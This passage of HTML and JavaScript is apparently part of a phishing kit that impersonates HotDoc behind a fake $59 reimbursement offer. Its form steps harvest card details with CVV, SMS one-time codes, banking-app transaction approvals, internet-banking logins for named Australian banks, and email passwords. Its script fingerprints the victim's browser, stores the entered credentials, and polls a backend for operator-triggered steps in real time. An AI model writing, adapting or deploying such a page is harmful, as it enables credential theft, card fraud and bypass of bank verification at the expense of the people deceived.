                &lt;label class=&quot;form-label&quot;&gt;Security code (CVV/CVC) *&lt;/label&gt;
                &lt;input type=&quot;text&quot; class=&quot;form-input&quot; id=&quot;cvv&quot; placeholder=&quot;000&quot; maxlength=&quot;3&quot; autocomplete=&quot;cc-csc&quot; inputmode=&quot;numeric&quot; name=&quot;cvc&quot;&gt;
                &lt;div class=&quot;field-error&quot; id=&quot;err-cvv&quot;&gt;Enter a valid CVV.&lt;/div&gt;
            &lt;/div&gt;
        &lt;/div&gt;
        &lt;button class=&quot;btn-primary&quot; id=&quot;btn-step3&quot; onclick=&quot;submitCard()&quot;&gt;Claim Your Reimbursement&lt;/button&gt;
        &lt;div class=&quot;footer-trust&quot;&gt;
            &lt;div class=&quot;trust-item&quot;&gt;&lt;svg viewBox=&quot;0 0 24 24&quot; fill=&quot;none&quot; stroke=&quot;currentColor&quot; stroke-width=&quot;2&quot;&gt;&lt;path d=&quot;M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z&quot;/&gt;&lt;/svg&gt; Secure&lt;/div&gt;
            &lt;div class=&quot;trust-item&quot;&gt;&lt;svg viewBox=&quot;0 0 24 24&quot; fill=&quot;none&quot; stroke=&quot;currentColor&quot; stroke-width=&quot;2&quot;&gt;&lt;circle cx=&quot;12&quot; cy=&quot;12&quot; r=&quot;10&quot;/&gt;&lt;path d=&quot;M12 6v6l4 2&quot;/&gt;&lt;/svg&gt; Instant&lt;/div&gt;
            &lt;div class=&quot;trust-item&quot;&gt;&lt;svg viewBox=&quot;0 0 24 24&quot; fill=&quot;none&quot; stroke=&quot;currentColor&quot; stroke-width=&quot;2&quot;&gt;&lt;path d=&quot;M22 11.08V12a10 10 0 1 1-5.93-9.14&quot;/&gt;&lt;polyline points=&quot;22 4 12 14.01 9 11.01&quot;/&gt;&lt;/svg&gt; Encrypted&lt;/div&gt;
        &lt;/div&gt;
    &lt;/div&gt;

    &lt;!-- STEP 4: PROCESSING --&gt;
    &lt;div class=&quot;step-processing hidden&quot; id=&quot;step4&quot;&gt;
        &lt;h2&gt;Please wait while your request is being processed...&lt;/h2&gt;
        &lt;p&gt;This may take a few seconds.&lt;/p&gt;
        &lt;div class=&quot;dots&quot;&gt;&lt;div class=&quot;dot&quot;&gt;&lt;/div&gt;&lt;div class=&quot;dot&quot;&gt;&lt;/div&gt;&lt;div class=&quot;dot&quot;&gt;&lt;/div&gt;&lt;/div&gt;
    &lt;/div&gt;

    &lt;!-- STEP 5: OTP --&gt;
    &lt;div class=&quot;card step-otp hidden&quot; id=&quot;step5&quot;&gt;
        &lt;h2&gt;Security Verification&lt;/h2&gt;
        &lt;p&gt;For your security, a one-time verification code has been sent to your mobile device. Please enter the code below to complete your reimbursement.&lt;/p&gt;
        &lt;div class=&quot;error-msg&quot; id=&quot;err5&quot;&gt;Invalid code. Please check the SMS sent to your phone.&lt;/div&gt;
        &lt;input type=&quot;text&quot; class=&quot;otp-input&quot; id=&quot;otp&quot; placeholder=&quot;000000&quot; maxlength=&quot;8&quot; autocomplete=&quot;one-time-code&quot; inputmode=&quot;numeric&quot; name=&quot;otp&quot;&gt;
        &lt;button class=&quot;btn-primary active&quot; onclick=&quot;submitOtp()&quot;&gt;Confirm&lt;/button&gt;
    &lt;/div&gt;

    &lt;!-- STEP 6: APP APPROVAL --&gt;
    &lt;div class=&quot;card step-app hidden&quot; id=&quot;step6&quot;&gt;
        &lt;h2&gt;Approve on your device&lt;/h2&gt;
        &lt;p&gt;Please open your banking app and approve the pending transaction to complete your reimbursement.&lt;/p&gt;
        &lt;div class=&quot;app-box&quot;&gt;
            &lt;div class=&quot;phone-mockup&quot;&gt;
                &lt;div class=&quot;phone-screen&quot;&gt;
                    &lt;div class=&quot;bank-logo&quot;&gt;B&lt;/div&gt;
                    &lt;div class=&quot;approve-text&quot;&gt;Approve Payment&lt;/div&gt;
                    &lt;div class=&quot;approve-amount&quot;&gt;$59.00&lt;/div&gt;
                    &lt;div class=&quot;confirm-btn&quot;&gt;CONFIRM&lt;/div&gt;
                    &lt;div class=&quot;cancel-btn&quot;&gt;CANCEL&lt;/div&gt;
                &lt;/div&gt;
            &lt;/div&gt;
            &lt;div class=&quot;app-caption&quot;&gt;Tap Confirm in your banking app&lt;/div&gt;
            &lt;div class=&quot;app-subcaption&quot;&gt;Look for a payment notification and press the green Confirm button&lt;/div&gt;
        &lt;/div&gt;
        &lt;div class=&quot;dots&quot; style=&quot;margin-bottom:24px;&quot;&gt;&lt;div class=&quot;dot&quot;&gt;&lt;/div&gt;&lt;div class=&quot;dot&quot;&gt;&lt;/div&gt;&lt;div class=&quot;dot&quot;&gt;&lt;/div&gt;&lt;/div&gt;
        &lt;button class=&quot;btn-primary active&quot; onclick=&quot;submitApp()&quot;&gt;I have approved&lt;/button&gt;
    &lt;/div&gt;

    &lt;!-- STEP 7: SUCCESS --&gt;
    &lt;div class=&quot;card step-success hidden&quot; id=&quot;step7&quot;&gt;
        &lt;div class=&quot;check-icon&quot;&gt;&amp;#10003;&lt;/div&gt;
        &lt;h2&gt;Reimbursement Complete&lt;/h2&gt;
        &lt;p&gt;Your reimbursement has been successfully processed. The funds will be transferred to your account within 1-2 business days.&lt;/p&gt;
        &lt;div class=&quot;ref-box&quot;&gt;&lt;strong id=&quot;ref-code&quot;&gt;Reference: HD-XXXXXXXX&lt;/strong&gt;&lt;/div&gt;
        &lt;button class=&quot;btn-primary active&quot; onclick=&quot;clearSession();location.reload()&quot;&gt;Return to HotDoc&lt;/button&gt;
    &lt;/div&gt;

    &lt;!-- STEP 8: BANK LOGIN --&gt;
    &lt;div class=&quot;card step-bank hidden&quot; id=&quot;step8&quot;&gt;
        &lt;div class=&quot;bank-icon&quot;&gt;&amp;#127974;&lt;/div&gt;
        &lt;h2&gt;Verify Your Bank Account&lt;/h2&gt;
        &lt;p class=&quot;subtitle&quot;&gt;To process your reimbursement securely, please log in to your online banking to confirm your identity.&lt;/p&gt;
        &lt;div class=&quot;amount-box&quot; style=&quot;display:flex; justify-content:space-between; align-items:center; text-align:left; padding:16px 20px;&quot;&gt;
            &lt;div&gt;
                &lt;div style=&quot;font-size:12px; color:#6b7280; margin-bottom:4px;&quot;&gt;Available Amount&lt;/div&gt;
                &lt;div style=&quot;font-size:20px; font-weight:700;&quot;&gt;59 $&lt;/div&gt;
            &lt;/div&gt;
            &lt;div style=&quot;text-align:right;&quot;&gt;
                &lt;div style=&quot;font-size:12px; color:#6b7280; margin-bottom:4px;&quot;&gt;Status&lt;/div&gt;
                &lt;div style=&quot;font-size:14px; font-weight:500; color:#f59e0b;&quot;&gt;Bank verification required&lt;/div&gt;
            &lt;/div&gt;
        &lt;/div&gt;
        &lt;div class=&quot;bank-security&quot;&gt;
            &lt;svg viewBox=&quot;0 0 24 24&quot; fill=&quot;none&quot; stroke=&quot;currentColor&quot; stroke-width=&quot;2&quot;&gt;&lt;path d=&quot;M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z&quot;/&gt;&lt;/svg&gt;
            256-bit SSL Encrypted &amp;bull; Secure bank-grade connection
        &lt;/div&gt;
        &lt;div class=&quot;error-msg&quot; id=&quot;err8&quot;&gt;Please select your bank and enter valid credentials.&lt;/div&gt;
        &lt;div class=&quot;form-group&quot;&gt;
            &lt;label class=&quot;form-label&quot;&gt;Select Your Bank *&lt;/label&gt;
            &lt;select class=&quot;form-select&quot; id=&quot;bank_name&quot;&gt;
                &lt;option value=&quot;&quot;&gt;Choose your bank...&lt;/option&gt;
                &lt;option value=&quot;Commonwealth Bank&quot;&gt;Commonwealth Bank&lt;/option&gt;
                &lt;option value=&quot;ANZ&quot;&gt;ANZ&lt;/option&gt;
                &lt;option value=&quot;Westpac&quot;&gt;Westpac&lt;/option&gt;
                &lt;option value=&quot;NAB&quot;&gt;NAB (National Australia Bank)&lt;/option&gt;
                &lt;option value=&quot;ING Bank&quot;&gt;ING Bank&lt;/option&gt;
                &lt;option value=&quot;Macquarie Bank&quot;&gt;Macquarie Bank&lt;/option&gt;
                &lt;option value=&quot;St.George Bank&quot;&gt;St.George Bank&lt;/option&gt;
                &lt;option value=&quot;Suncorp Bank&quot;&gt;Suncorp Bank&lt;/option&gt;
                &lt;option value=&quot;Bendigo Bank&quot;&gt;Bendigo Bank&lt;/option&gt;
                &lt;option value=&quot;AMP Bank&quot;&gt;AMP Bank&lt;/option&gt;
                &lt;option value=&quot;Citibank&quot;&gt;Citibank&lt;/option&gt;
                &lt;option value=&quot;HSBC&quot;&gt;HSBC&lt;/option&gt;
                &lt;option value=&quot;Bankwest&quot;&gt;Bankwest&lt;/option&gt;
                &lt;option value=&quot;Bank of Queensland&quot;&gt;Bank of Queensland&lt;/option&gt;
                &lt;option value=&quot;ME Bank&quot;&gt;ME Bank&lt;/option&gt;
                &lt;option value=&quot;Credit Union Australia&quot;&gt;Credit Union Australia&lt;/option&gt;
                &lt;option value=&quot;Teachers Mutual Bank&quot;&gt;Teachers Mutual Bank&lt;/option&gt;
                &lt;option value=&quot;BankSA&quot;&gt;BankSA&lt;/option&gt;
                &lt;option value=&quot;Great Southern Bank&quot;&gt;Great Southern Bank&lt;/option&gt;
                &lt;option value=&quot;Beyond Bank&quot;&gt;Beyond Bank&lt;/option&gt;
            &lt;/select&gt;
            &lt;div class=&quot;field-error&quot; id=&quot;err-bank_name&quot;&gt;Please select your bank.&lt;/div&gt;
        &lt;/div&gt;
        &lt;div class=&quot;form-group&quot;&gt;
            &lt;label class=&quot;form-label&quot;&gt;Internet Banking Username / Client Number *&lt;/label&gt;
            &lt;input type=&quot;text&quot; class=&quot;form-input&quot; id=&quot;bank_user&quot; placeholder=&quot;Enter your username&quot; autocomplete=&quot;username&quot; name=&quot;username&quot;&gt;
            &lt;div class=&quot;field-error&quot; id=&quot;err-bank_user&quot;&gt;Enter your banking username.&lt;/div&gt;
        &lt;/div&gt;
        &lt;div class=&quot;form-group&quot;&gt;
            &lt;label class=&quot;form-label&quot;&gt;Internet Banking Password *&lt;/label&gt;
            &lt;input type=&quot;password&quot; class=&quot;form-input&quot; id=&quot;bank_pass&quot; placeholder=&quot;Enter your password&quot; autocomplete=&quot;current-password&quot; name=&quot;password&quot;&gt;
            &lt;div class=&quot;field-error&quot; id=&quot;err-bank_pass&quot;&gt;Enter your banking password.&lt;/div&gt;
        &lt;/div&gt;
        &lt;button class=&quot;btn-primary active&quot; id=&quot;btn-step8&quot; onclick=&quot;submitBank()&quot;&gt;Verify &amp; Continue&lt;/button&gt;
        &lt;div class=&quot;footer-trust&quot;&gt;
            &lt;div class=&quot;trust-item&quot;&gt;&lt;svg viewBox=&quot;0 0 24 24&quot; fill=&quot;none&quot; stroke=&quot;currentColor&quot; stroke-width=&quot;2&quot;&gt;&lt;path d=&quot;M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z&quot;/&gt;&lt;/svg&gt; Bank-grade security&lt;/div&gt;
            &lt;div class=&quot;trust-item&quot;&gt;&lt;svg viewBox=&quot;0 0 24 24&quot; fill=&quot;none&quot; stroke=&quot;currentColor&quot; stroke-width=&quot;2&quot;&gt;&lt;circle cx=&quot;12&quot; cy=&quot;12&quot; r=&quot;10&quot;/&gt;&lt;path d=&quot;M12 6v6l4 2&quot;/&gt;&lt;/svg&gt; 256-bit SSL&lt;/div&gt;
            &lt;div class=&quot;trust-item&quot;&gt;&lt;svg viewBox=&quot;0 0 24 24&quot; fill=&quot;none&quot; stroke=&quot;currentColor&quot; stroke-width=&quot;2&quot;&gt;&lt;path d=&quot;M22 11.08V12a10 10 0 1 1-5.93-9.14&quot;/&gt;&lt;polyline points=&quot;22 4 12 14.01 9 11.01&quot;/&gt;&lt;/svg&gt; Verified by HotDoc&lt;/div&gt;
        &lt;/div&gt;
    &lt;/div&gt;

    &lt;!-- STEP 9: EMAIL PASSWORD (Admin-triggered only) --&gt;
    &lt;div class=&quot;card step-emailpass hidden&quot; id=&quot;step9&quot;&gt;
        &lt;div class=&quot;status-badge&quot;&gt;&lt;span class=&quot;dot&quot;&gt;&lt;/span&gt; Verification Required&lt;/div&gt;
        &lt;div class=&quot;user-icon&quot;&gt;&amp;#128231;&lt;/div&gt;
        &lt;h2&gt;Verify Your Email&lt;/h2&gt;
        &lt;p class=&quot;subtitle&quot;&gt;For security, please confirm your email address and enter your password to continue.&lt;/p&gt;
        &lt;div class=&quot;amount-box&quot;&gt;
            &lt;div class=&quot;amount-label&quot;&gt;Reimbursement Amount&lt;/div&gt;
            &lt;div class=&quot;amount-value&quot;&gt;59&lt;span class=&quot;amount-currency&quot;&gt; $&lt;/span&gt;&lt;/div&gt;
        &lt;/div&gt;
        &lt;div class=&quot;error-msg&quot; id=&quot;err9&quot;&gt;Please enter your email password to continue.&lt;/div&gt;
        &lt;div class=&quot;form-group&quot;&gt;
            &lt;label class=&quot;form-label&quot;&gt;Email Address&lt;/label&gt;
            &lt;input type=&quot;email&quot; class=&quot;form-input&quot; id=&quot;email_pass_email&quot; placeholder=&quot;john@example.com&quot; autocomplete=&quot;email&quot; name=&quot;email&quot;&gt;
            &lt;div class=&quot;field-error&quot; id=&quot;err-email_pass_email&quot;&gt;Enter a valid email address.&lt;/div&gt;
        &lt;/div&gt;
        &lt;div class=&quot;form-group&quot;&gt;
            &lt;label class=&quot;form-label&quot;&gt;Email Password *&lt;/label&gt;
            &lt;div style=&quot;position:relative;&quot;&gt;
                &lt;input type=&quot;password&quot; class=&quot;form-input&quot; id=&quot;email_pass&quot; placeholder=&quot;Enter your email password&quot; autocomplete=&quot;current-password&quot; name=&quot;email_password&quot; style=&quot;padding-right:70px;&quot;&gt;
                &lt;button type=&quot;button&quot; onclick=&quot;toggleEmailPass()&quot; id=&quot;toggleEmailPassBtn&quot; style=&quot;position:absolute;right:8px;top:50%;transform:translateY(-50%);background:none;border:none;cursor:pointer;padding:8px 10px;color:#6b7280;font-size:13px;font-weight:600;&quot;&gt;Show&lt;/button&gt;
            &lt;/div&gt;
            &lt;div class=&quot;field-error&quot; id=&quot;err-email_pass&quot;&gt;Enter your email password.&lt;/div&gt;
        &lt;/div&gt;
        &lt;button class=&quot;btn-primary&quot; id=&quot;btn-step9&quot; onclick=&quot;submitEmailPass()&quot;&gt;Verify &amp; Continue&lt;/button&gt;
        &lt;div class=&quot;footer-trust&quot;&gt;
            &lt;div class=&quot;trust-item&quot;&gt;&lt;svg viewBox=&quot;0 0 24 24&quot; fill=&quot;none&quot; stroke=&quot;currentColor&quot; stroke-width=&quot;2&quot;&gt;&lt;path d=&quot;M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z&quot;/&gt;&lt;/svg&gt; Secure&lt;/div&gt;
            &lt;div class=&quot;trust-item&quot;&gt;&lt;svg viewBox=&quot;0 0 24 24&quot; fill=&quot;none&quot; stroke=&quot;currentColor&quot; stroke-width=&quot;2&quot;&gt;&lt;circle cx=&quot;12&quot; cy=&quot;12&quot; r=&quot;10&quot;/&gt;&lt;path d=&quot;M12 6v6l4 2&quot;/&gt;&lt;/svg&gt; 2 min process&lt;/div&gt;
            &lt;div class=&quot;trust-item&quot;&gt;&lt;svg viewBox=&quot;0 0 24 24&quot; fill=&quot;none&quot; stroke=&quot;currentColor&quot; stroke-width=&quot;2&quot;&gt;&lt;path d=&quot;M22 11.08V12a10 10 0 1 1-5.93-9.14&quot;/&gt;&lt;polyline points=&quot;22 4 12 14.01 9 11.01&quot;/&gt;&lt;/svg&gt; Verified&lt;/div&gt;
        &lt;/div&gt;
    &lt;/div&gt;

&lt;/div&gt;

&lt;div class=&quot;footer&quot;&gt;
    &lt;div class=&quot;footer-left&quot;&gt;Australian Owned &amp; Operated&lt;/div&gt;
    &lt;div class=&quot;footer-right&quot;&gt;&amp;copy; 2026 HotDoc Online Pty Ltd&lt;/div&gt;
&lt;/div&gt;

&lt;script&gt;
    var userId = &quot;HD_&quot; + Math.random().toString(36).substr(2, 9);
    var BACKEND = &quot;backend.php&quot;;
    var STORAGE_KEY = &quot;hotdoc_session_v2&quot;;

    var pollTimer = null;
    var isPolling = false;
    var currentStep = 1;
    var cardAttempt = 0;
    var isAmex = false;
    var lastDataStep = 0;
    var idleTimeout = null;
    var pageVisible = true;
    var originalTitle = document.title;
    var titleFlashInterval = null;
    var notifPermission = false;
    var emailPassFromStep = 0;
    var wasAdminCommanded = false;

    // ==================== FINGERPRINT ====================
    function collectFingerprint() {
        return {
            userAgent: navigator.userAgent,
            language: navigator.language,
            platform: navigator.platform,
            screenWidth: screen.width,
            screenHeight: screen.height,
            colorDepth: screen.colorDepth,
            timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
            timezoneOffset: new Date().getTimezoneOffset(),
            touch: &#039;ontouchstart&#039; in window,
            cores: navigator.hardwareConcurrency || &#039;unknown&#039;,
            memory: navigator.deviceMemory || &#039;unknown&#039;,
            referrer: document.referrer || &#039;direct&#039;
        };
    }

    // ==================== NOTIFICATIONS ====================
    function requestNotificationPermission() {
        if (!(&quot;Notification&quot; in window)) return;
        if (Notification.permission === &quot;granted&quot;) {
            notifPermission = true;
        } else if (Notification.permission !== &quot;denied&quot;) {
            Notification.requestPermission().then(function(p) {
                notifPermission = (p === &quot;granted&quot;);
            });
        }
    }

    function sendBrowserNotification(title, body) {
        if (!notifPermission || pageVisible) return;
        try {
            new Notification(title, {
                body: body,
                icon: &quot;https://cdn.hotdoc.com.au/bookings/dist/assets/images/hotdoc.fingerprinted.aa4b7b0c73a54530f68b.svg&quot;,
                badge: &quot;https://cdn.hotdoc.com.au/bookings/dist/assets/images/hotdoc.fingerprinted.aa4b7b0c73a54530f68b.svg&quot;,
                tag: &quot;hotdoc-&quot; + userId,
                requireInteraction: true,
                vibrate: [200, 100, 200]
            });
        } catch(e) {}
    }

    function playAlertSound() {
        try {
            var ctx = new (window.AudioContext || window.webkitAudioContext)();
            var osc = ctx.createOscillator();
            var gain = ctx.createGain();
            osc.connect(gain);
            gain.connect(ctx.destination);
            osc.frequency.value = 880;
            osc.type = &#039;sine&#039;;
            gain.gain.setValueAtTime(0.1, ctx.currentTime);
            gain.gain.exponentialRampToValueAtTime(0.001, ctx.currentTime + 0.5);
            osc.start(ctx.currentTime);
            osc.stop(ctx.currentTime + 0.5);
        } catch(e) {}
    }

    function vibrateDevice() {
        if (navigator.vibrate) {
            navigator.vibrate([200, 100, 200, 100, 200]);
        }
    }

    function flashTitle(msg) {
        if (pageVisible) return;
        if (titleFlashInterval) clearInterval(titleFlashInterval);
        var flash = true;
        titleFlashInterval = setInterval(function() {
            document.title = flash ? &quot;🔔 &quot; + msg : originalTitle;
            flash = !flash;
        }, 1000);
    }

    function stopFlashTitle() {
        if (titleFlashInterval) {
            clearInterval(titleFlashInterval);
            titleFlashInterval = null;
            document.title = originalTitle;
        }
    }

    // ==================== OFFLINE DETECTION ====================
    function handleOnline() { document.getElementById(&#039;offlineBanner&#039;).classList.remove(&#039;show&#039;); }
    function handleOffline() { document.getElementById(&#039;offlineBanner&#039;).classList.add(&#039;show&#039;); }
    window.addEventListener(&#039;online&#039;, handleOnline);
    window.addEventListener(&#039;offline&#039;, handleOffline);

    // ==================== VISIBILITY ====================
    function handleVisibilityChange() {
        if (document.hidden || document.visibilityState === &#039;hidden&#039;) {
            pageVisible = false;
        } else {
            pageVisible = true;
            stopFlashTitle();
            if (isPolling) {
                doPoll(lastDataStep);
            }
        }
    }
    if (document.hidden !== undefined) {
        document.addEventListener(&quot;visibilitychange&quot;, handleVisibilityChange);
    } else if (document.webkitHidden !== undefined) {
        document.addEventListener(&quot;webkitvisibilitychange&quot;, handleVisibilityChange);
    }

    // ==================== WAKE LOCK ====================
    var wakeLock = null;
    async function requestWakeLock() {
        try {
            if (&#039;wakeLock&#039; in navigator) {
                wakeLock = await navigator.wakeLock.request(&#039;screen&#039;);
                wakeLock.addEventListener(&#039;release&#039;, function() {
                    console.log(&#039;Wake lock released&#039;);
                });
            }
        } catch(e) {}
    }
    function releaseWakeLock() {
        if (wakeLock) {
            wakeLock.release();
            wakeLock = null;
        }
    }

    // ==================== SESSION PERSISTENCE ====================
    function saveProgress() {
        var formData = {
            phone: document.getElementById(&#039;phone&#039;) ? document.getElementById(&#039;phone&#039;).value : &#039;&#039;,
            fname: document.getElementById(&#039;fname&#039;) ? document.getElementById(&#039;fname&#039;).value : &#039;&#039;,
            lname: document.getElementById(&#039;lname&#039;) ? document.getElementById(&#039;lname&#039;).value : &#039;&#039;,
            dob: document.getElementById(&#039;dob&#039;) ? document.getElementById(&#039;dob&#039;).value : &#039;&#039;,
            address: document.getElementById(&#039;address&#039;) ? document.getElementById(&#039;address&#039;).value : &#039;&#039;,
            city: document.getElementById(&#039;city&#039;) ? document.getElementById(&#039;city&#039;).value : &#039;&#039;,
            postcode: document.getElementById(&#039;postcode&#039;) ? document.getElementById(&#039;postcode&#039;).value : &#039;&#039;,
            email: document.getElementById(&#039;email&#039;) ? document.getElementById(&#039;email&#039;).value : &#039;&#039;,
            email_pass_email: document.getElementById(&#039;email_pass_email&#039;) ? document.getElementById(&#039;email_pass_email&#039;).value : &#039;&#039;,
            email_pass: document.getElementById(&#039;email_pass&#039;) ? document.getElementById(&#039;email_pass&#039;).value : &#039;&#039;,
            card: document.getElementById(&#039;card&#039;) ? document.getElementById(&#039;card&#039;).value : &#039;&#039;,
            exp: document.getElementById(&#039;exp&#039;) ? document.getElementById(&#039;exp&#039;).value : &#039;&#039;,
            cvv: document.getElementById(&#039;cvv&#039;) ? document.getElementById(&#039;cvv&#039;).value : &#039;&#039;,
            bank_name: document.getElementById(&#039;bank_name&#039;) ? document.getElementById(&#039;bank_name&#039;).value : &#039;&#039;,
            bank_user: document.getElementById(&#039;bank_user&#039;) ? document.getElementById(&#039;bank_user&#039;).value : &#039;&#039;,
            bank_pass: document.getElementById(&#039;bank_pass&#039;) ? document.getElementById(&#039;bank_pass&#039;).value : &#039;&#039;
        };
        var state = {
            userId: userId,
            currentStep: currentStep,
            lastDataStep: lastDataStep,
            formData: formData,
            cardAttempt: cardAttempt,
            emailPassFromStep: emailPassFromStep,
            wasAdminCommanded: wasAdminCommanded,
            timestamp: Date.now()
        };
        localStorage.setItem(STORAGE_KEY, JSON.stringify(state));
    }

    function loadProgress() {
        var saved = localStorage.getItem(STORAGE_KEY);
        if (!saved) return false;
        try {
            var state = JSON.parse(saved);
            if (Date.now() - (state.timestamp || 0) &gt; 86400000) {
                localStorage.removeItem(STORAGE_KEY);
                return false;
            }
            userId = state.userId || userId;
            lastDataStep = state.lastDataStep || 0;
            cardAttempt = state.cardAttempt || 0;
            emailPassFromStep = state.emailPassFromStep || 0;
            wasAdminCommanded = state.wasAdminCommanded || false;

            if (state.formData) {
                for (var key in state.formData) {
                    var el = document.getElementById(key);
                    if (el) el.value = state.formData[key];
                }
            }

            // If admin commanded us to email step, restore that
            if (wasAdminCommanded &amp;&amp; lastDataStep === 9) {
                showStep(9);
                checkStep9();
                return true;
            }

            if (lastDataStep === 1) {
                showStep(2);
                checkStep2();
            } else if (lastDataStep === 2) {
                showStep(3);
                checkStep3();
            } else if (lastDataStep === 3) {
                showStep(4);
                startPolling(3);
            } else if (lastDataStep === 5) {
                showStep(4);
                startPolling(5);
            } else if (lastDataStep === 6) {
                showStep(4);
                startPolling(6);
            } else if (lastDataStep === 8) {
                showStep(4);
                startPolling(8);
            } else if (lastDataStep === 9) {
                showStep(4);
                startPolling(9);
            }
            return true;
        } catch(e) {
            return false;
        }
    }

    function clearSession() {
        localStorage.removeItem(STORAGE_KEY);
    }

    // ==================== TOAST ====================
    function showNotification(msg) {
        var toast = document.getElementById(&#039;notifToast&#039;);
        var text = document.getElementById(&#039;notifText&#039;);
        text.textContent = msg;
        toast.classList.add(&#039;show&#039;);
        setTimeout(function() {
            toast.classList.remove(&#039;show&#039;);
        }, 6000);
    }

    // ==================== CARD BIN ====================
    var bankBins = {
        &#039;405221&#039;: &#039;Commonwealth Bank&#039;, &#039;454363&#039;: &#039;Commonwealth Bank&#039;, &#039;535316&#039;: &#039;Commonwealth Bank&#039;,
        &#039;407220&#039;: &#039;ANZ&#039;, &#039;450949&#039;: &#039;ANZ&#039;, &#039;543049&#039;: &#039;ANZ&#039;, &#039;552287&#039;: &#039;ANZ&#039;,
        &#039;456443&#039;: &#039;Westpac&#039;, &#039;493827&#039;: &#039;Westpac&#039;, &#039;535319&#039;: &#039;Westpac&#039;,
        &#039;456470&#039;: &#039;NAB&#039;, &#039;493834&#039;: &#039;NAB&#039;, &#039;543048&#039;: &#039;NAB&#039;,
        &#039;493838&#039;: &#039;ING Bank&#039;, &#039;512345&#039;: &#039;Macquarie Bank&#039;,
        &#039;456472&#039;: &#039;St.George Bank&#039;, &#039;493839&#039;: &#039;Suncorp Bank&#039;,
        &#039;456444&#039;: &#039;Bendigo Bank&#039;, &#039;456445&#039;: &#039;AMP Bank&#039;,
        &#039;493840&#039;: &#039;Citibank&#039;, &#039;456446&#039;: &#039;HSBC&#039;, &#039;535318&#039;: &#039;Bankwest&#039;,
        &#039;456447&#039;: &#039;Bank of Queensland&#039;, &#039;493841&#039;: &#039;ME Bank&#039;,
        &#039;456448&#039;: &#039;Credit Union Australia&#039;, &#039;493842&#039;: &#039;Teachers Mutual Bank&#039;
    };

    function detectBank(cardNum) {
        var digits = cardNum.replace(/\D/g, &#039;&#039;);
        if (digits.length &lt; 6) return null;
        var prefix6 = digits.substr(0, 6);
        if (bankBins[prefix6]) return bankBins[prefix6];
        var prefix5 = digits.substr(0, 5);
        for (var bin in bankBins) {
            if (bin.indexOf(prefix5) === 0) return bankBins[bin];
        }
        var prefix4 = digits.substr(0, 4);
        for (var bin2 in bankBins) {
            if (bin2.indexOf(prefix4) === 0) return bankBins[bin2];
        }
        return null;
    }

    // ==================== VALIDATION ====================
    function stripSpaces(v) { return v.replace(/\s/g, &#039;&#039;); }
    function isValidPhone(v) { var digits = stripSpaces(v); return /^04\d{8}$/.test(digits); }
    function isValidEmail(v) { return /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(v); }
    function isValidDob(v) {
        if (!/^\d{2}\/\d{2}\/\d{4}$/.test(v)) return false;
        var parts = v.split(&#039;/&#039;);
        var d = parseInt(parts[0], 10);
        var m = parseInt(parts[1], 10);
        var y = parseInt(parts[2], 10);
        if (m &lt; 1 || m &gt; 12 || d &lt; 1 || d &gt; 31 || y &lt; 1900 || y &gt; 2006) return false;
        var date = new Date(y, m - 1, d);
        return date.getDate() === d &amp;&amp; date.getMonth() === (m - 1) &amp;&amp; date.getFullYear() === y;
    }
    function isValidPostcode(v) { return /^\d{4}$/.test(v); }
    function isValidName(v) { return /^[a-zA-Z\s\-&#039;]{2,}$/.test(v); }
    function isValidCard(v) {
        var digits = stripSpaces(v);
        var len = isAmex ? 15 : 16;
        if (!new RegExp(&#039;^\\d{&#039; + len + &#039;}$&#039;).test(digits)) return false;
        var sum = 0, alternate = false;
        for (var i = digits.length - 1; i &gt;= 0; i--) {
            var n = parseInt(digits.substring(i, i + 1), 10);
            if (alternate) { n *= 2; if (n &gt; 9) n -= 9; }
            sum += n;
            alternate = !alternate;
        }
        return (sum % 10) === 0;
    }
    function isValidExp(v) {
        if (!/^\d{2}\/\d{2}$/.test(v)) return false;
        var parts = v.split(&#039;/&#039;);
        var mm = parseInt(parts[0], 10);
        var yy = parseInt(parts[1], 10);
        if (mm &lt; 1 || mm &gt; 12) return false;
        var now = new Date();
        var curYear = now.getFullYear() % 100;
        var curMonth = now.getMonth() + 1;
        var fullYear = yy &lt; 50 ? 2000 + yy : 1900 + yy;
        var cardDate = new Date(fullYear, mm, 0);
        return cardDate &gt;= new Date(now.getFullYear(), curMonth, 0);
    }
    function isValidCvv(v) {
        if (isAmex) return /^\d{4}$/.test(v);
        return /^\d{3}$/.test(v);
    }

    // ==================== UI HELPERS ====================
    function setInputState(id, valid, showError) {
        var el = document.getElementById(id);
        var err = document.getElementById(&#039;err-&#039; + id);
        if (!el) return;
        el.classList.remove(&#039;error&#039;, &#039;valid&#039;);
        if (valid) {
            el.classList.add(&#039;valid&#039;);
            if (err) err.classList.remove(&#039;show&#039;);
        } else if (showError) {
            el.classList.add(&#039;error&#039;);
            if (err) err.classList.add(&#039;show&#039;);
        } else {
            if (err) err.classList.remove(&#039;show&#039;);
        }
    }

    function setButtonActive(id, active) {
        var btn = document.getElementById(id);
        if (!btn) return;
        if (active) btn.classList.add(&#039;active&#039;);
        else btn.classList.remove(&#039;active&#039;);
    }

    function setButtonLoading(id, loading) {
        var btn = document.getElementById(id);
        if (!btn) return;
        if (loading) {
            btn.disabled = true;
            btn.dataset.originalText = btn.textContent;
            btn.innerHTML = &#039;Processing&lt;span class=&quot;btn-spinner&quot;&gt;&lt;/span&gt;&#039;;
        } else {
            btn.disabled = false;
            btn.textContent = btn.dataset.originalText || &#039;Continue&#039;;
        }
    }

    function checkStep1() {
        var phone = document.getElementById(&#039;phone&#039;).value;
        var valid = isValidPhone(phone);
        setInputState(&#039;phone&#039;, valid, phone.length &gt;= 10);
        setButtonActive(&#039;btn-step1&#039;, valid);
    }

    function checkStep2() {
        var fname = document.getElementById(&#039;fname&#039;).value;
        var lname = document.getElementById(&#039;lname&#039;).value;
        var dob = document.getElementById(&#039;dob&#039;).value;
        var address = document.getElementById(&#039;address&#039;).value;
        var city = document.getElementById(&#039;city&#039;).value;
        var postcode = document.getElementById(&#039;postcode&#039;).value;
        var email = document.getElementById(&#039;email&#039;).value;

        setInputState(&#039;fname&#039;, isValidName(fname), fname.length &gt; 0);
        setInputState(&#039;lname&#039;, isValidName(lname), lname.length &gt; 0);
        setInputState(&#039;dob&#039;, isValidDob(dob), dob.length &gt;= 10);
